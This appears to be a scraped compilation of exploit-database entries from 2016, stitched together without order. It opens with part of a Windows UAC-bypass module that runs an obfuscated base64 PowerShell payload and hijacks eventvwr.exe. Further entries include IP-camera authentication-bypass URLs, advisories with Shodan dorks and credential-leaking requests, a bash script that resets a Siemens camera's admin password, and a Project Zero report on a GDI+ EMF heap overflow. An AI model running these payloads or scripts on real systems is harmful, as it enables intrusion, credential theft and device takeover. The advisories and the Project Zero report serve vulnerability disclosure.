	execute_script("cwBhAGwAIABhACAATgBlAHcALQBPAGIAagBlAGMAdAA7AGkAZQB4ACgAYQAgAEkATwAuAFMAdAByAGUAYQBtAFIAZQBhAGQAZQByACgAKABhACAASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARABlAGYAbABhAHQAZQBTAHQAcgBlAGEAbQAoAFsASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AXQBbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcANwBiADAASABZAEIAeABKAGwAaQBVAG0ATAAyADMASwBlADMAOQBLADkAVQByAFgANABIAFMAaABDAEkAQgBnAEUAeQBUAFkAawBFAEEAUQA3AE0ARwBJAHoAZQBhAFMANwBCADEAcABSAHkATQBwAHEAeQBxAEIAeQBtAFYAVwBaAFYAMQBtAEYAawBEAE0ANwBaADIAOAA5ADkANQA3ADcANwAzADMAMwBuAHYAdgB2AGYAZQA2AE8ANQAxAE8ASgAvAGYAZgAvAHoAOQBjAFoAbQBRAEIAYgBQAGIATwBTAHQAcgBKAG4AaQBHAEEAcQBzAGcAZgBQADMANQA4AEgAegA4AGkALwBxAC8ALwArADkAZgA0ADMAWAA2AE4AKwB0AGQAWQAvAHgAcgB0AHIANQBIADkARwB1AG0AdgA4AFIAbgA5AC8ANgBOAGYANAA5AHUALwB4AHUALwAxAGEANQB6ADgARwBsAC8AOQBHAG8AOQArAGoAZAAvADMAMQAzAGoAOQBhADEAUwAvAHgAagBsADkAZQAwAFgAZgAxADcAOQBHAFQAcAArAGMALwBCAG8AbAAvAGQANwBRAGYAegBuADkALwAvAGYAOQBOAFIAYgAwADcANQBUAGEARgBQAFEANQB2AG0AOQArAGoAVABuADkATABPAG0ALwAzADUAZgBlAFgAZABIAHYAUwAvAHAAdABTAHIAOAB2ADYATAArAE0ALwBwAHAAUgBIADcALwB4AHIANQBGAFEAegB4AFgAQgBuAEgARQBMADYAWAB2AHIAMQAvAGkAYwAvAG0AcAAvAGoAZQAxAGYANAA0AHoAKwB6AGEAbgA5AFMAMgBvAGgAVQBHAHIANgA1AEoAcgBhAGIATgBOAG4ARwBmADAAKwBwADkAOQA5ADMATABkAC8AagBSAGYAMABjADAARQB0ADAAMQAvAGoANAAxADkAagBRAG0AMQBYAGkAdQBmAEgAdgA4AGEAZABYADIATQBjAGYASQBMAGUAWAAxAEQATABLADYAKwBuAEwAcgBSAG4AagBOADIAVQA0AGYAMABNAC8AYgAvAGIAUABvAGEAWgBqADgASABXAHIALwBHAFUAZgBqAHUAbgBUADkAWgBFAGkANQBaAHcAKwBKAGoAYgAvAEMAUgA5AFUAdABKAG4ATwBmAGYAbwBVADIAQwA3AEIALwBNAE4ANAA0AHkAVwBEAGYAMQBkAEUANAAyAFgAdgA4AFoARgBGAEwAcwB2AEcAWABOAGcAZwBOADcASwAvAHcAYwA9ACcAKQAsAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApACkALABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkAKQAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQA=")
	print_good('Created registry entries to hijack!')
    end

    r = session.sys.process.execute("cmd.exe /c c:\\windows\\system32\\eventvwr.exe",nil,{'Hidden' => true, 'Channelized' => true})
    check_permissions!

  end

  def validate_environment!
    fail_with(Failure::None, 'Already in elevated state') if is_admin? or is_system?

    winver = sysinfo['OS']

    unless winver =~ /Windows Vista|Windows 2008|Windows [78]/
      fail_with(Failure::NotVulnerable, "#{winver} is not vulnerable.")
    end

    if is_uac_enabled?
      print_status 'UAC is Enabled, checking level...'
    else
      if is_in_admin_group?
        fail_with(Failure::Unknown, 'UAC is disabled and we are in the admin group so something has gone wrong...')
      else
        fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
      end
    end
  end
end
HireHackking 
# 
#
#  MESSOA NIC990 IP-Camera auth bypass configuration download
#
#  Copyright 2016 (c) Todor Donev <todor.donev at gmail.com>
#  http://www.ethical-hacker.org/
#  https://www.facebook.com/ethicalhackerorg
#  
#  Disclaimer:
#  This or previous programs is for Educational
#  purpose ONLY. Do not use it without permission.
#  The usual disclaimer applies, especially the
#  fact that Todor Donev is not liable for any
#  damages caused by direct or indirect use of the
#  information or functionality provided by these
#  programs. The author or any Internet provider
#  bears NO responsibility for content or misuse
#  of these programs or any derivatives thereof.
#  By using these programs you accept the fact
#  that any damage (dataloss, system crash,
#  system compromise, etc.) caused by the use
#  of these programs is not Todor Donev's
#  responsibility.
#  
#  Use them at your own risk!
#
#  
 
http://TARGET/cgi-bin/chklogin.cgi?file=config.ini
HireHackking 
1. Advisory Information
========================================
Title                   : C2S DVR Management Remote Credentials Disclosure & Authentication Bypass
Vendor Homepage         : http://www.cash2s.com/en/
Remotely Exploitable	: Yes
Tested on Camera types	: IRDOME-II-C2S, IRBOX-II-C2S, DVR
Vulnerabilities         : Credentials Disclosure
+                       : Authentication bypass
Date                    : 19/08/2016
Shodan Dork             : html:write.cgi "Content-length: 2676"
Author                  : Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
 
 
2. CREDIT
========================================
This vulnerability was identified during penetration test by Yakir Wizman.
  

3. Description
========================================
C2S DVR allows to unauthenticated user disclose the username & password remotely by simple request to the server page 'read.cgi?page=2' which can be made by browser or burp/fiddler.
Moreover, an attacker could easily access to password change page without any authentication, thats happen cuase the web application does not perform any session management.


4. Proof-of-Concept:
========================================
Remote Credentials Disclosure:
-----------------------------------------------
Simply go to the following url to read the credentials:
http://host:port/cgi-bin/read.cgi?page=2

Should return some javascript variable which contain the credentials and other configuration vars:

var pw_enflag = "1";
var pw_adminpw = "12345";
var pw_retype1 = "12345";
var pw_userpw = "56789";
var pw_retype2 = "56789";
var pw_autolock = "0";


Login @ http://host:port/
-----------------------------------------------


Authentication Bypass:
-----------------------------------------------
The application does not require a valid session for any page on the server, for example you can access to 'password.htm' which allows you to change/disclose the admin password with just a few clicks.

http://host:port/password.htm?parm1=&parm2=1



5. SOLUTION
========================================
Contact the vendor for further information regarding the proper mitigation of this vulnerability.
HireHackking 
# 
#
#  TOSHIBA IK-WP41A IP-Camera auth bypass configuration download
#
#  Copyright 2016 (c) Todor Donev <todor.donev at gmail.com>
#  http://www.ethical-hacker.org/
#  https://www.facebook.com/ethicalhackerorg
#  
#  Disclaimer:
#  This or previous programs is for Educational
#  purpose ONLY. Do not use it without permission.
#  The usual disclaimer applies, especially the
#  fact that Todor Donev is not liable for any
#  damages caused by direct or indirect use of the
#  information or functionality provided by these
#  programs. The author or any Internet provider
#  bears NO responsibility for content or misuse
#  of these programs or any derivatives thereof.
#  By using these programs you accept the fact
#  that any damage (dataloss, system crash,
#  system compromise, etc.) caused by the use
#  of these programs is not Todor Donev's
#  responsibility.
#  
#  Use them at your own risk!
#
#  
 
http://TARGET/cgi-bin/chklogin.cgi?file=config.ini
HireHackking 
1. Advisory Information
========================================
Title                   : Vanderbilt IP-Camera (CCPW3025-IR + CVMW3025-IR) Remote Credentials Disclosure
Vendor Homepage         : https://is.spiap.com/
Remotely Exploitable	: Yes
Tested on Camera types	: CCPW3025-IR , CVMW3025-IR
Product References      : https://is.spiap.com/products/video/1_cameras/11_ip_camerars/bullet-kameror/v54561-c117-a100.html
+                       : https://uk.spiap.com/products/video/1_cameras/11_ip_camerars/114_vandal_resistent_dome_cameras/cvmw3025-ir.html
Vulnerability           : Username / Password Disclosure (Critical/High)
Shodan Dork             : title:"Vanderbilt IP-Camera"
Date                    : 19/08/2016
Author                  : Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
 
 
2. CREDIT
========================================
This vulnerability was identified during penetration test by Yakir Wizman.
  

3. Description
========================================
Vanderbilt IP-Camera (CCPW3025-IR + CVMW3025-IR) allows to unauthenticated user disclose the username & password remotely by simple request which made by browser.


4. Proof-of-Concept:
========================================
Simply go to the following url:
http://host:port/cgi-bin/readfile.cgi?query=ADMINID

Should return some javascript variable which contain the credentials and other configuration vars:
var Adm_ID="admin"; var Adm_Pass1=“admin”; var Adm_Pass2=“admin”; var Language=“en”; var Logoff_Time="0"; 

-----------------------------------------------

Login @ http://host:port/cgi-bin/chklogin.cgi


5. SOLUTION
========================================
Contact the vendor for further information regarding the proper mitigation of this vulnerability.
HireHackking 
1. Advisory Information
========================================
Title                   : JVC IP-Camera (VN-T216VPRU) Remote Credentials Disclosure
Vendor Homepage         : http://pro.jvc.com/
Remotely Exploitable	: Yes
Tested on Camera types	: VN-T216VPRU
Product References      : http://pro.jvc.com/prof/attributes/features.jsp?model_id=MDL102145
Vulnerability           : Username / Password Disclosure (Critical/High)
Date                    : 19/08/2016
Author                  : Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
 
 
2. CREDIT
========================================
This vulnerability was identified during penetration test by Yakir Wizman.
  

3. Description
========================================
JVC IP-Camera (VN-T216VPRU) allows to unauthenticated user disclose the username & password remotely by simple request which made by browser.


4. Proof-of-Concept:
========================================
Simply go to the following url:
http://host:port/cgi-bin/readfile.cgi?query=ADMINID

Should return some javascript variable which contain the credentials and other configuration vars:
var Adm_ID="admin"; var Adm_Pass1=“admin”; var Adm_Pass2=“admin”; var Language=“en”; var Logoff_Time="0"; 

-----------------------------------------------

Login @ http://host:port/cgi-bin/chklogin.cgi


5. SOLUTION
========================================
Contact the vendor for further information regarding the proper mitigation of this vulnerability.
HireHackking 
# 
#
#  Multiple SIEMENS IP Cameras auth bypass configuration download
#
#  Tested: 
#  SIEMENS IP Camera CCID1410-ST X.1.0.24
#  SIEMENS IP Camera CCMW1025 x.2.2.1798
#  SIEMENS IP Camera CCMS2025 x.2.2.1798
#  SIEMENS IP Camera CVMS2025-IR x.2.2.1798
#  SIEMENS IP Camera CVMS2025-IR CxMS2025_V2458
#  SIEMENS IP Camera CVMS2025-IR CxMS2025_V2458_SP1
#  SIEMENS IP Camera CCPW5025-IR CCPWx025_V0.1.58
#  
#  ...and more, more devices who use same firmware
#
#  Copyright 2016 (c) Todor Donev <todor.donev at gmail.com>
#  http://www.ethical-hacker.org/
#  https://www.facebook.com/ethicalhackerorg
#  
#  Disclaimer:
#  This or previous programs is for Educational
#  purpose ONLY. Do not use it without permission.
#  The usual disclaimer applies, especially the
#  fact that Todor Donev is not liable for any
#  damages caused by direct or indirect use of the
#  information or functionality provided by these
#  programs. The author or any Internet provider
#  bears NO responsibility for content or misuse
#  of these programs or any derivatives thereof.
#  By using these programs you accept the fact
#  that any damage (dataloss, system crash,
#  system compromise, etc.) caused by the use
#  of these programs is not Todor Donev's
#  responsibility.
#  
#  Use them at your own risk!
#
#  
 
http://TARGET/cgi-bin/chklogin.cgi?file=config.ini
http://TARGET/cgi-bin/check.cgi?file=ikwd03conf.ini
HireHackking 
#!/bin/bash
#
#  SIEMENS IP Camera CCMW1025 x.2.2.1798 remote change admin user/password 
#
#  Copyright 2016 (c) Todor Donev <todor.donev at gmail.com>
#  http://www.ethical-hacker.org/
#  https://www.facebook.com/ethicalhackerorg
#  
#  Disclaimer:
#  This or previous programs is for Educational
#  purpose ONLY. Do not use it without permission.
#  The usual disclaimer applies, especially the
#  fact that Todor Donev is not liable for any
#  damages caused by direct or indirect use of the
#  information or functionality provided by these
#  programs. The author or any Internet provider
#  bears NO responsibility for content or misuse
#  of these programs or any derivatives thereof.
#  By using these programs you accept the fact
#  that any damage (dataloss, system crash,
#  system compromise, etc.) caused by the use
#  of these programs is not Todor Donev's
#  responsibility.
#  
#  Use them at your own risk!
#
#  
 
if [[ $# -gt 4 || $# -lt 3 ]]; then
        echo "  [ SIEMENS IP Camera CCMW1025 x.2.2.1798 remote change admin user/password"
        echo "  [ =================================================="
        echo "  [ Usage: $0 <target> <user> <password> <repeat password>"
        echo "  [ Example: $0 192.168.1.200:80 hacker teflon teflon"
        echo "  ["
        echo "  [ Copyright 2016 (c) Todor Donev  <todor.donev at gmail.com>"
        echo "  [ http://www.ethical-hacker.org/  https://www.facebook.com/ethicalhackerorg "
        exit;
fi
GET=`which GET 2>/dev/null`
if [ $? -ne 0 ]; then
        echo "  [ Error : libwww-perl not found =/"
        exit;
fi
        GET "http://$1/cgi-bin/writefile.cgi?DEFonoff_adm=&Adm_ID=$2&Adm_Pass1=$3&Adm_Pass2=$4&Language=en&Logoff_Time=0&UpSectionName=ADMINID" 0&> /dev/null <&1
HireHackking 
 # Exploit Title: Cisco ASA 8.X Authentication Bypass
# Date: 17-08-2016
# Exploit Author: Equation Group
# Vendor Homepage: Cisco
# Software Link: Cisco
# Version: Cisco ASA 8.X
# Tested on: Cisco ASA 8.4.2
# CVE : Not sure

Requirements:
* SNMP read (public) string
* Access to SNMP service
* SSH port accessible


Full Exploit:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40258.zip
HireHackking 
1. Advisory Information
========================================
Title                   : Honeywell IP-Camera (HICC-1100PT) Unauthenticated Remote Credentials Disclosure
Vendor Homepage         : https://www.asia.security.honeywell.com
Remotely Exploitable	: Yes
Tested on Camera types	: HICC-1100PT
Reference               : https://www.asia.security.honeywell.com/Pages/product.aspx?category=720P-1.3M%20Box%20Camera&cat=HSG-ASIASECURITY&pid=HICC-1100T
Vulnerability           : Username / Password Disclosure (Critical/High)
Shodan Dork             : html:"Honeywell IP-Camera"
Date                    : 18/08/2016
Author                  : Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
 
 
2. CREDIT
========================================
This vulnerability was identified during penetration test by Yakir Wizman.
  

3. Description
========================================
Honeywell IP-Camera (HICC-1100PT) allows to unauthenticated user disclose the username & password remotely by simple request which made by browser.


4. Proof-of-Concept:
========================================
Simply go to the following url:
http://host:port/cgi-bin/readfile.cgi?query=ADMINID

Should return some javascript variable which contain the credentials and other configuration vars:
var Adm_ID="admin"; var Adm_Pass1=“admin”; var Adm_Pass2=“admin”; var Language=“en”; var Logoff_Time="0"; 


Request:
----------
GET /cgi-bin/readfile.cgi?query=ADMINID HTTP/1.1
Host: host:port
Connection: close


Response:
----------
HTTP/1.0 200 OK
Connection: close
Content-type: text/html

var Adm_ID="admin";
var Adm_Pass1=“admin”;
var Adm_Pass2=“admin”;
var Language=“en”;
var Logoff_Time="0";



Login @ http://host:port/cgi-bin/chklogin.cgi


5. SOLUTION
========================================
Contact the vendor for further information regarding the proper mitigation of this vulnerability.
HireHackking 
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=828

The Microsoft GDI+ implementation of the EMF format supports records corresponding to the ExtTextOutA() and PolyTextOutA() API functions. Both CEmfPlusEnumState::ExtTextOutA and CEmfPlusEnumState::PolyTextOutA handlers suffer from a security vulnerability in the handling of the "offDx" record field, which is described in the following way in the format specification:

  --- cut ---
  offDx (4 bytes): A 32-bit unsigned integer that specifies the offset to an intercharacter spacing
  array, in bytes, from the start of the record in which this object is contained. This value MUST be
  32-bit aligned.
  --- cut ---

The offset is supposed to address an array of "Chars" (another field in the text records, specifying the number of characters to be displayed) double words, taking up a total of 4 * N bytes. However, instead of verifying that the provided record is sufficiently large to contain 4 * N bytes at the specified offset, it only checks if it can fit 4 bytes (completely ignoring the actual number of characters in the message, which can be larger than 1). A pseudo-code of the current, vulnerable code is shown below:

  --- cut ---
  if ( record_size - offString >= nChars && (!nChars || record_size - 4 >= record->emrtext.offDx) ) {
    // Validation passed, continue processing the record.
  }
  --- cut ---

There is definitely a flaw in the implementation, but one which would typically only lead to an out-of-bound read condition, since it's a problem with the sanitization of an input buffer. However, the logic found in the remainder of the function is as follows:

- Attempt to convert the textual ANSI string in the record to a wide-char string, using the MultiByteToWideChar() function and the code page specified in the most recently selected font.
  - If the number of characters converted is equal to the number of bytes in the input buffer, CEmfPlusEnumState::PlayExtTextOut() is called and the function returns.
  - Otherwise, the function proceeds to rewrite the offDx buffer by calling EmfEnumState::CreateCopyOfCurrentRecord() to allocate an exact copy of the current record (with the same size), and then copying entries of the intercharacter spacing array, omitting those corresponding to bytes which cause the IsDBCSLeadByteEx() function to return true. Once the rewriting is performed, CEmfPlusEnumState::PlayExtTextOut() is called with the new record as the parameter.

In order to trigger the more interesting array rewriting behavior, we must get the MultiByteToWideChar() function to convert fewer characters than there are bytes in the input buffer, which means we have to utilize a string in a non-standard encoding, which supports double-byte character sets (DBCS). Luckily, this is possible by selecting a font with an appropriate charset (e.g. SHIFTJIS_CHARSET) into the HDC, and invoking either of the *TextOutA() handlers with a byte stream containing so-called lead bytes (which folds two bytes into a single character, decreasing the eventual return value of the MultiByteToWideChar() call).

Since the spacing array in the new record is too small to store entries for all "Chars" characters, it is overflown with data read from memory after the original record buffer. Considering the complexity of the EMF format, other records in the picture file could be easily used to massage the heap such that the record copy is overflown with fully controlled data. The issue has been reproduced in Microsoft Office 2013, as well as a simple C++ program which boils down to the following calls:

  --- cut ---
  Graphics graphics(hdc);
  Metafile *mf = new Metafile(L"C:\\path\\to\\poc.emf");

  INT conversionSuccess;
  mf->ConvertToEmfPlus(&graphics, &conversionSuccess, Gdiplus::EmfTypeEmfPlusDual, NULL);
  --- cut ---

An example crash log from PowerPoint 2013, indicating heap corruption, is shown below (the condition can also be reproduced reliably by enabling Page Heap on the GDI+ client process):

  --- cut ---
  (2a8c.2bd8): Break instruction exception - code 80000003 (first chance)
  eax=00000000 ebx=00000000 ecx=772336ab edx=0022cb85 esi=03bd0000 edi=1171ffc0
  eip=7728e815 esp=0022cdd8 ebp=0022ce50 iopl=0         nv up ei pl nz na pe nc
  cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200206
  ntdll!RtlReportCriticalFailure+0x29:
  7728e815 cc              int     3
  0:000> kb
  ChildEBP RetAddr  Args to Child              
  0022ce50 7728f749 c0000374 772c4270 0022ce94 ntdll!RtlReportCriticalFailure+0x29
  0022ce60 7728f829 00000002 64dc1326 03bd0000 ntdll!RtlpReportHeapFailure+0x21
  0022ce94 7724ab46 0000000c 03bd0000 1171ffc0 ntdll!RtlpLogHeapFailure+0xa1
  0022cf84 771f3431 00000258 00000260 03bd00c4 ntdll!RtlpAllocateHeap+0x7b2
  0022d008 695071ec 03bd0000 00000000 00000258 ntdll!RtlAllocateHeap+0x23a
  0022d01c 6951bbf1 00000258 116b5104 03bdd558 gdiplus!GpMalloc+0x16
  0022d030 69557185 116b50e0 116b50e0 03bdd558 gdiplus!GpGraphics::Save+0x11
  0022d4b0 69557bdc 116b50e0 116b5104 116b30d8 gdiplus!CEmfPlusEnumState::PlayExtTextOut+0xda
  0022d4ec 69557f25 00000053 03bdae00 00006044 gdiplus!CEmfPlusEnumState::ExtTextOutA+0x136
  0022d500 695286ca 00000053 00006044 0d67b568 gdiplus!CEmfPlusEnumState::ProcessRecord+0x13b
  0022d51c 69528862 00000053 00000000 00006044 gdiplus!GdipPlayMetafileRecordCallback+0x6c
  0022d544 768155f4 9d211b17 0d567180 0d67b568 gdiplus!EnumEmfDownLevel+0x6e
  0022d5d0 6952aa36 9d211b17 403581b3 695287f4 GDI32!bInternalPlayEMF+0x6a3
  0022d608 6952d199 9d211b17 05462305 0122d674 gdiplus!MetafilePlayer::EnumerateEmfRecords+0x104
  0022d6b0 6952f455 00000000 05462305 0022d7d8 gdiplus!GpGraphics::EnumEmf+0x391
  0022d810 69534742 00000000 42901225 42901d0b gdiplus!GpMetafile::EnumerateForPlayback+0x7b9
  0022d90c 695347c6 03bd2fd8 00000000 00000000 gdiplus!GpGraphics::DrawImage+0x3f5
  0022d970 6952c792 03bd2fd8 0022d9e4 0022d9e4 gdiplus!GpGraphics::DrawImage+0x51
  0022d9a8 6952ea7a 03bd2fd8 0022d9e4 00000004 gdiplus!GpGraphics::DrawMetafileSplit+0x1f
  0022d9fc 6952f4d5 03bdc438 0022dadc 00000000 gdiplus!GpMetafile::ConvertToEmfPlus+0x1c1
  0022da20 69504f71 03bdc438 0022dadc 00000004 gdiplus!GpMetafile::ConvertToEmfPlus+0x1d
  0022da5c 54793044 03bdc438 03bd2fd8 0022dadc gdiplus!GdipConvertToEmfPlus+0xbf
  WARNING: Stack unwind information not available. Following frames may be wrong.
  0022daf0 548c7b8d 00000000 03bdc438 b93aea31 oart!Ordinal3385+0x7e8
  0022df18 548c749b 0022e3a4 094c4380 0022e18c oart!Ordinal655+0x874
  0022e12c 54793cbb 0022e3a4 094c4380 0022e18c oart!Ordinal655+0x182
  0022e1c0 546bf722 0022e3a4 094c4380 00000000 oart!Ordinal5891+0xad1
  0022e200 5474987d 0022e3a4 0d4f7f34 0022e2ec oart!Ordinal3910+0xfd6
  0022e214 546bf6b4 0022e3a4 b93ad771 0d4f7f34 oart!Ordinal10880+0x98
  0022e258 546beea2 1c0e82b0 b93ad1a5 0d2bce4c oart!Ordinal3910+0xf68
  0022e48c 546be7e4 0022e968 0022ed6c 00000002 oart!Ordinal3910+0x756
  0022e550 546be4d3 0d2bce48 0022e964 09661440 oart!Ordinal3910+0x98
  0022e574 546be440 0022e968 00000002 0022e9b8 oart!Ordinal8924+0xaf
  0022e598 546be3aa 0022e968 00000002 0022e9b8 oart!Ordinal8924+0x1c
  0022e728 546bc00d 0d83a888 00000000 00000000 oart!Ordinal5363+0x261
  0022e784 5474c3c6 00000000 00000000 0d43e458 oart!Ordinal8822+0x20
  0022e894 5474c224 0022e964 0022eaa0 00000000 oart!Ordinal5408+0x4f1
  0022ea64 5474bff6 0d371f40 0022eaa0 00000000 oart!Ordinal5408+0x34f
  0022eb28 54749818 0d371f40 0022ebac 0022eb4c oart!Ordinal5408+0x121
  0022eb5c 5473ea78 0d371f40 0022ebac 00000000 oart!Ordinal10880+0x33
  0022ed0c 54741fc8 0d371f40 0022ef28 00000000 oart!Ordinal1852+0x241
  0022ed44 547425e5 0d371f40 0022ef28 00000000 oart!Ordinal2425+0x5ea
  0022ef6c 54743796 0d1a15a0 00000000 0022f34c oart!Ordinal2425+0xc07
  0022f0e4 54741d5c 0022f1f0 0473c1ab 3feab68a oart!Ordinal2081+0x292
  0022f210 547439d6 0022f2d0 0473c1ab 3feab68a oart!Ordinal2425+0x37e
  0022f268 554ecfaa 0022f2d0 0473c1ab 3feab68a oart!Ordinal8518+0xb6
  0022f380 554edbd7 b93ac69d 0d3d99bc 0d3d9998 ppcore!PPMain+0x74eff
  0022f3b4 554edba9 55497d99 0022f3df b93ac6d9 ppcore!PPMain+0x75b2c
  0022f3f0 55497d5a 0022f428 0fabe376 0d3d99b8 ppcore!PPMain+0x75afe
  0022f3f8 0fabe376 0d3d99b8 0d184d04 0fabe203 ppcore!PPMain+0x1fcaf
  0022f428 0fabd28d 003f9a38 003f7e00 003ff518 mso!Ordinal8295+0x22d
  0022f440 0fbd483a 003f9a38 01a81a32 003ff608 mso!Ordinal4996+0x12b
  0022f478 0fbd476e 00000001 003ff608 003f7d5c mso!Ordinal3599+0xaf
  0022f4d0 0fbce774 003f7d5c 00000000 003f7e9c mso!Ordinal9018+0x334
  0022f4ec 0fbcc03c 00000000 0022f55c 00000100 mso!Ordinal8480+0x29d
  0022f500 0fbcbf08 003f7e9c 0022f528 5549d3f5 mso!Ordinal4921+0x4c1
  0022f50c 5549d3f5 03cd02a0 ffffffff 5549d38b mso!Ordinal4921+0x38d
  0022f528 5549d26c 0022f55c 00000001 00000000 ppcore!PPMain+0x2534a
  0022f540 5549d238 0022f55c b93ac2b5 01033034 ppcore!PPMain+0x251c1
  0022f79c 554780fc 0022f7b8 b93acd25 01033034 ppcore!PPMain+0x2518d
  0022f80c 01031572 00312c8c 0022f8ac 0103154a ppcore!PPMain+0x51
  0022f818 0103154a 01030000 00000000 00312c8c POWERPNT+0x1572
  0022f8ac 76a5338a fffde000 0022f8f8 771f9902 POWERPNT+0x154a
  0022f8b8 771f9902 fffde000 64dc254a 00000000 kernel32!BaseThreadInitThunk+0xe
  0022f8f8 771f98d5 010312bb fffde000 ffffffff ntdll!__RtlUserThreadStart+0x70
  0022f910 00000000 010312bb fffde000 00000000 ntdll!_RtlUserThreadStart+0x1b
  --- cut ---

The poc.emf file is attached.

The above analysis was performed using the gdiplus.dll file found in C:\Windows\winsxs\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.23407_none_5c02a2f5a011f9be\GdiPlus.dll on a fully patched Windows 7 64-bit operating system (md5sum c861ee277cd4e2d914740000161956ef).


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40257.zip